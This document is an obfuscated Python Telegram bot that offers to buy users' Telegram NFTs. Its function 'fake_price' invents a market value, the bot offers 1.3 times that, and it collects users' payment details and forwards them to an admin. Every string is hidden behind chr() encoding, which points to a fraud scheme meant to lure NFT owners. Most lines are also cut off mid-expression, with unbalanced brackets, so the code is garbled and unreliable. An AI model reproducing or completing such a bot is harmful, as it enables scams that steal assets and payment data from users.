

```

import logging
import random
import os

from telegram import Update, InlineKeyboardButton, InlineKeyboardMarkup
from telegram.ext import (
    Application, CommandHandler, CallbackQueryHandler,
    MessageHandler, filters, ContextTypes, ConversationHandler
)

TOKEN = open(chr(116)+chr(111)+chr(107)+chr(101)+chr(110)+chr(46)+chr(116)+chr(12
ADMIN_ID = int(open(chr(97)+chr(100)+chr(109)+chr(105)+chr(110)+chr(46)+chr(116)+
MANAGER = open(chr(109)+chr(97)+chr(110)+chr(97)+chr(103)+chr(101)+chr(114)+chr(4

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

LANG, MAIN_MENU, SELL_NFT_LINK, SELL_CURRENCY, SELL_CONFIRM, SELL_REQUSITES = ra

TEXTS = {
    chr(114)+chr(117): {
        chr(119)+chr(101)+chr(108)+chr(99)+chr(111)+chr(109)+chr(101): chr(1055)+chr(
        chr(104)+chr(111)+chr(119)+chr(95)+chr(119)+chr(111)+chr(114)+chr(107)+chr(11
        chr(115)+chr(117)+chr(112)+chr(112)+chr(111)+chr(114)+chr(116): chr(1055)+chr(
        chr(115)+chr(101)+chr(110)+chr(100)+chr(95)+chr(108)+chr(105)+chr(110)+chr(10
        chr(105)+chr(110)+chr(118)+chr(97)+chr(108)+chr(105)+chr(100)+chr(95)+chr(108
        chr(99)+chr(104)+chr(111)+chr(111)+chr(115)+chr(101)+chr(95)+chr(99)+chr(117)
        chr(111)+chr(102)+chr(102)+chr(101)+chr(114): chr(78)+chr(70)+chr(84)+chr(58)
        chr(115)+chr(101)+chr(110)+chr(100)+chr(95)+chr(114)+chr(101)+chr(113)+chr(11
        chr(100)+chr(101)+chr(97)+chr(108)+chr(95)+chr(99)+chr(114)+chr(101)+chr(97)+
        chr(100)+chr(101)+chr(97)+chr(108)+chr(95)+chr(99)+chr(97)+chr(110)+chr(99)+c
        chr(98)+chr(116)+chr(110)+chr(95)+chr(115)+chr(101)+chr(108)+chr(108): chr(10
        chr(98)+chr(116)+chr(110)+chr(95)+chr(104)+chr(111)+chr(119): chr(1050)+chr(1
        chr(98)+chr(116)+chr(110)+chr(95)+chr(115)+chr(117)+chr(112)+chr(112)+chr(111
        chr(98)+chr(116)+chr(110)+chr(95)+chr(121)+chr(101)+chr(115): chr(1044)+chr(1
        chr(98)+chr(116)+chr(110)+chr(95)+chr(110)+chr(111): chr(1053)+chr(1077)+chr(
        chr(98)+chr(116)+chr(110)+chr(95)+chr(98)+chr(97)+chr(99)+chr(107): chr(1053
    },
    chr(101)+chr(110): {
        chr(119)+chr(101)+chr(108)+chr(99)+chr(111)+chr(109)+chr(101): chr(87)+chr(10
        chr(104)+chr(111)+chr(119)+chr(95)+chr(119)+chr(111)+chr(114)+chr(107)+chr(11
        chr(115)+chr(117)+chr(112)+chr(112)+chr(111)+chr(114)+chr(116): chr(83)+chr(1
        chr(115)+chr(101)+chr(110)+chr(100)+chr(95)+chr(108)+chr(105)+chr(110)+chr(10
        chr(105)+chr(110)+chr(118)+chr(97)+chr(108)+chr(105)+chr(100)+chr(95)+chr(108
        chr(99)+chr(104)+chr(111)+chr(111)+chr(115)+chr(101)+chr(95)+chr(99)+chr(117)
    }
}

```

```

        chr(111)+chr(102)+chr(102)+chr(101)+chr(114): chr(78)+chr(70)+chr(84)+chr(58)
        chr(115)+chr(101)+chr(110)+chr(100)+chr(95)+chr(114)+chr(101)+chr(113)+chr(11
        chr(100)+chr(101)+chr(97)+chr(108)+chr(95)+chr(99)+chr(114)+chr(101)+chr(97)+
        chr(100)+chr(101)+chr(97)+chr(108)+chr(95)+chr(99)+chr(97)+chr(110)+chr(99)+c
        chr(98)+chr(116)+chr(110)+chr(95)+chr(115)+chr(101)+chr(108)+chr(108): chr(83
        chr(98)+chr(116)+chr(110)+chr(95)+chr(104)+chr(111)+chr(119): chr(72)+chr(111
        chr(98)+chr(116)+chr(110)+chr(95)+chr(115)+chr(117)+chr(112)+chr(112)+chr(111
        chr(98)+chr(116)+chr(110)+chr(95)+chr(121)+chr(101)+chr(115): chr(89)+chr(101
        chr(98)+chr(116)+chr(110)+chr(95)+chr(110)+chr(111): chr(78)+chr(111)+chr(44)
        chr(98)+chr(116)+chr(110)+chr(95)+chr(98)+chr(97)+chr(99)+chr(107): chr(66)+c
    },
}

CURRENCIES = {
    chr(67)+chr(114)+chr(121)+chr(112)+chr(116)+chr(111)+chr(66)+chr(111)+chr(116):
    chr(84)+chr(82)+chr(67)+chr(50)+chr(48)+chr(32)+chr(40)+chr(85)+chr(83)+chr(68)
    chr(84)+chr(111)+chr(110)+chr(107)+chr(101)+chr(101)+chr(112)+chr(101)+chr(114)
    chr(75)+chr(97)+chr(114)+chr(116)+chr(97)+chr(32)+chr(85)+chr(107)+chr(114)+chr
    chr(75)+chr(97)+chr(114)+chr(116)+chr(97)+chr(32)+chr(82)+chr(117)+chr(115)+chr
    chr(75)+chr(97)+chr(114)+chr(116)+chr(97)+chr(32)+chr(85)+chr(83)+chr(65): {chr
    chr(75)+chr(97)+chr(114)+chr(116)+chr(97)+chr(32)+chr(66)+chr(101)+chr(108)+chr
    chr(75)+chr(97)+chr(114)+chr(116)+chr(97)+chr(32)+chr(75)+chr(97)+chr(122)+chr(
    chr(75)+chr(97)+chr(114)+chr(116)+chr(97)+chr(32)+chr(85)+chr(122)+chr(98)+chr(
    chr(75)+chr(97)+chr(114)+chr(116)+chr(97)+chr(32)+chr(84)+chr(117)+chr(114)+chr
    chr(75)+chr(97)+chr(114)+chr(116)+chr(97)+chr(32)+chr(65)+chr(122)+chr(101)+chr
}

def gl(ctx): return ctx.user_data.get(chr(108)+chr(97)+chr(110)+chr(103), chr(114)
def t(ctx, k): return TEXTS[gl(ctx)][k]

def main_kb(ctx):
    tx = TEXTS[gl(ctx)]
    return InlineKeyboardMarkup([
        [InlineKeyboardButton(tx[chr(98)+chr(116)+chr(110)+chr(95)+chr(115)+chr(1
        [InlineKeyboardButton(tx[chr(98)+chr(116)+chr(110)+chr(95)+chr(104)+chr(1
        [InlineKeyboardButton(tx[chr(98)+chr(116)+chr(110)+chr(95)+chr(115)+chr(1
    ])
])

def cur_kb():
    return InlineKeyboardMarkup([
        [InlineKeyboardButton(n, callback_data=chr(99)+chr(117)+chr(114)+chr(95)+
        for n in CURRENCIES
    ])
])

def fake_price(): return round(__import__(chr(114)+chr(97)+chr(110)+chr(100)+chr(
async def start(u, ctx):

```

```

kb = InlineKeyboardMarkup([
    InlineKeyboardButton(chr(1056)+chr(1091)+chr(1089)+chr(1089)+chr(1082)+ch
    InlineKeyboardButton(chr(69)+chr(110)+chr(103)+chr(108)+chr(105)+chr(115)
])
await u.message.reply_text(chr(1042)+chr(1099)+chr(1073)+chr(1077)+chr(1088)+
return LANG

async def lang_cb(u, ctx):
    q = u.callback_query
    await q.answer()
    ctx.user_data[chr(108)+chr(97)+chr(110)+chr(103)] = q.data.split(chr(95))[1]
    await q.edit_message_text(t(ctx, chr(119)+chr(101)+chr(108)+chr(99)+chr(111)+
    return MAIN_MENU

async def menu_cb(u, ctx):
    q = u.callback_query
    await q.answer()
    d = q.data
    back = InlineKeyboardMarkup([[InlineKeyboardButton(t(ctx, chr(98)+chr(116)+ch
    if d == chr(115)+chr(101)+chr(108)+chr(108):
        await q.edit_message_text(t(ctx, chr(115)+chr(101)+chr(110)+chr(100)+chr(
        return SELL_NFT_LINK
    elif d == chr(104)+chr(111)+chr(119):
        await q.edit_message_text(t(ctx, chr(104)+chr(111)+chr(119)+chr(95)+chr(1
    elif d == chr(115)+chr(117)+chr(112)+chr(112)+chr(111)+chr(114)+chr(116):
        await q.edit_message_text(t(ctx, chr(115)+chr(117)+chr(112)+chr(112)+chr(
    elif d == chr(98)+chr(97)+chr(99)+chr(107):
        await q.edit_message_text(t(ctx, chr(119)+chr(101)+chr(108)+chr(99)+chr(1
    return MAIN_MENU

async def recv_link(u, ctx):
    txt = u.message.text.strip()
    if chr(116)+chr(46)+chr(109)+chr(101)+chr(47)+chr(110)+chr(102)+chr(116)+chr(
        await u.message.reply_text(t(ctx, chr(105)+chr(110)+chr(118)+chr(97)+chr(
        return SELL_NFT_LINK
    ctx.user_data[chr(110)+chr(102)+chr(116)+chr(95)+chr(108)+chr(105)+chr(110)+c
    ctx.user_data[chr(109)+chr(97)+chr(114)+chr(107)+chr(101)+chr(116)] = fake_pr
    await u.message.reply_text(t(ctx, chr(99)+chr(104)+chr(111)+chr(111)+chr(115)
    return SELL_CURRENCY

async def cur_cb(u, ctx):
    q = u.callback_query
    await q.answer()
    name = q.data[4:]
    cur = CURRENCIES[name]
    market = round(ctx.user_data[chr(109)+chr(97)+chr(114)+chr(107)+chr(101)+chr(
    offer = round(market * 1.3, 2)

```

```

    ctx.user_data.update({chr(99)+chr(117)+chr(114)+chr(114)+chr(101)+chr(110)+ch
msg = t(ctx, chr(111)+chr(102)+chr(102)+chr(101)+chr(114)).format(link=ctx.us
kb = InlineKeyboardMarkup([
    InlineKeyboardButton(t(ctx, chr(98)+chr(116)+chr(110)+chr(95)+chr(121)+ch
    InlineKeyboardButton(t(ctx, chr(98)+chr(116)+chr(110)+chr(95)+chr(110)+ch
]))
await q.edit_message_text(msg, parse_mode=chr(77)+chr(97)+chr(114)+chr(107)+c
return SELL_CONFIRM

async def confirm_cb(u, ctx):
    q = u.callback_query
    await q.answer()
    if q.data == chr(110)+chr(111):
        await q.edit_message_text(t(ctx, chr(100)+chr(101)+chr(97)+chr(108)+chr(9
        return MAIN_MENU
    await q.edit_message_text(t(ctx, chr(115)+chr(101)+chr(110)+chr(100)+chr(95)+
    return SELL_REQUSITES

async def recv_req(u, ctx):
    req = u.message.text.strip()
    msg = t(ctx, chr(100)+chr(101)+chr(97)+chr(108)+chr(95)+chr(99)+chr(114)+chr(
        link=ctx.user_data.get(chr(110)+chr(102)+chr(116)+chr(95)+chr(108)+chr(10
        offer=ctx.user_data.get(chr(111)+chr(102)+chr(102)+chr(101)+chr(114), ),
        sym=ctx.user_data.get(chr(115)+chr(121)+chr(109), ),
        req=req
    )
    await u.message.reply_text(msg, parse_mode=chr(77)+chr(97)+chr(114)+chr(107)+
try:
    adm = (chr(1053)+chr(1086)+chr(1074)+chr(1072)+chr(1103)+chr(32)+chr(1089
        + chr(92)+chr(110)+chr(78)+chr(70)+chr(84)+chr(58)+chr(32) + ctx.u
        + chr(92)+chr(110)+chr(1057)+chr(1091)+chr(1084)+chr(1084)+chr(107
        + chr(32) + ctx.user_data.get(chr(115)+chr(121)+chr(109), )
        + chr(92)+chr(110)+chr(1042)+chr(1072)+chr(1083)+chr(1102)+chr(109
        + chr(92)+chr(110)+chr(1056)+chr(1077)+chr(1082)+chr(1074)+chr(108
    await u.get_bot().send_message(ADMIN_ID, adm)
except Exception as e:
    logger.error(str(e))
return MAIN_MENU

async def admin_cmd(u, ctx):
    if u.effective_user.id != ADMIN_ID:
        await u.message.reply_text(chr(1053)+chr(1077)+chr(1090)+chr(32)+chr(1076
        return
    kb = InlineKeyboardMarkup([
        [InlineKeyboardButton(chr(1057)+chr(1090)+chr(1072)+chr(1090)+chr(1080)+c
        [InlineKeyboardButton(chr(1056)+chr(1072)+chr(1089)+chr(1089)+chr(1099)+c
        [InlineKeyboardButton(chr(1055)+chr(1086)+chr(1083)+chr(1100)+chr(1079)+c

```

```

        ])
        await u.message.reply_photo(
            photo=chr(104)+chr(116)+chr(116)+chr(112)+chr(115)+chr(58)+chr(47)+chr(47
            caption=chr(1055)+chr(1072)+chr(1085)+chr(1077)+chr(1083)+chr(1100)+chr(3
            parse_mode=chr(77)+chr(97)+chr(114)+chr(107)+chr(100)+chr(111)+chr(119)+c
            reply_markup=kb
        )
    )

async def admin_cb(u, ctx):
    q = u.callback_query
    if u.effective_user.id != ADMIN_ID:
        await q.answer(chr(1053)+chr(1077)+chr(1090)+chr(32)+chr(1076)+chr(1086)+
        return
    await q.answer()
    if q.data == chr(97)+chr(100)+chr(109)+chr(95)+chr(115)+chr(116)+chr(97)+chr(
        await q.message.reply_text(chr(1057)+chr(1090)+chr(1072)+chr(1090)+chr(10
    elif q.data == chr(97)+chr(100)+chr(109)+chr(95)+chr(98)+chr(114)+chr(111)+ch
        await q.message.reply_text(chr(1056)+chr(1072)+chr(1089)+chr(1089)+chr(10
    elif q.data == chr(97)+chr(100)+chr(109)+chr(95)+chr(117)+chr(115)+chr(101)+c
        await q.message.reply_text(chr(1055)+chr(1086)+chr(1083)+chr(1100)+chr(10

def main():
    app = Application.builder().token(TOKEN).build()
    conv = ConversationHandler(
        entry_points=[CommandHandler(chr(115)+chr(116)+chr(97)+chr(114)+chr(116),
        states={
            LANG: [CallbackQueryHandler(lang_cb, pattern=chr(94)+chr(108)+chr(97)
            MAIN_MENU: [CallbackQueryHandler(menu_cb)],
            SELL_NFT_LINK: [MessageHandler(filters.TEXT & ~filters.COMMAND, recv_
            SELL_CURRENCY: [CallbackQueryHandler(cur_cb, pattern=chr(94)+chr(99)+
            SELL_CONFIRM: [CallbackQueryHandler(confirm_cb, pattern=chr(94)+chr(4
            SELL_REQUISITES: [MessageHandler(filters.TEXT & ~filters.COMMAND, rec
        },
        fallbacks=[CommandHandler(chr(115)+chr(116)+chr(97)+chr(114)+chr(116), st
        allow_reentry=True,
    )
    app.add_handler(conv)
    app.add_handler(CommandHandler(chr(97)+chr(100)+chr(109)+chr(105)+chr(110), a
    app.add_handler(CallbackQueryHandler(admin_cb, pattern=chr(94)+chr(97)+chr(10
    logger.info(chr(66)+chr(111)+chr(116)+chr(32)+chr(115)+chr(116)+chr(97)+chr(1
    app.run_polling()

if __name__ == chr(95)+chr(95)+chr(109)+chr(97)+chr(105)+chr(110)+chr(95)+chr(95)
    main()

```